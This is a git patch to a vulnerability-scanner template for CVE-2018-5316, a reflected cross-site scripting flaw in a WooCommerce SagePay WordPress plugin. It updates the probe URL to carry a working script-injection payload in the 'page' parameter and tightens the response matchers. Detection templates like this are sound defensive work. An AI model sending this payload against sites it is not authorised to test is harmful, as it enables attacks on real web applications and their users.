From 76a0b17d32175246396ba734d5f7b4ec637322d5 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <ritikchaddha.1415@gmail.com>
Date: Tue, 25 Jul 2023 00:02:08 +0530
Subject: [PATCH] Update CVE-2018-5316.yaml

---
 http/cves/2018/CVE-2018-5316.yaml | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/http/cves/2018/CVE-2018-5316.yaml b/http/cves/2018/CVE-2018-5316.yaml
index 9071440999..aa211cb3a3 100644
--- a/http/cves/2018/CVE-2018-5316.yaml
+++ b/http/cves/2018/CVE-2018-5316.yaml
@@ -19,22 +19,25 @@ info:
     cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     max-request: 1
+    verified: true
     framework: wordpress
     vendor: patsatech
     product: sagepay_server_gateway_for_woocommerce
-  tags: cve2018,wordpress,xss,wp-plugin,woocommerce,packetstorm,cve
+  tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve
 
 http:
   - method: GET
     path:
-      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - "</script><script>alert(document.domain)</script>"
+          - '</script>"><script>alert(document.domain)</script>'
+          - 'Authenticate your card'
+        condition: and
 
       - type: word
         part: header
@@ -43,4 +46,4 @@ http:
 
       - type: status
         status:
-          - 200
+          - 200
\ No newline at end of file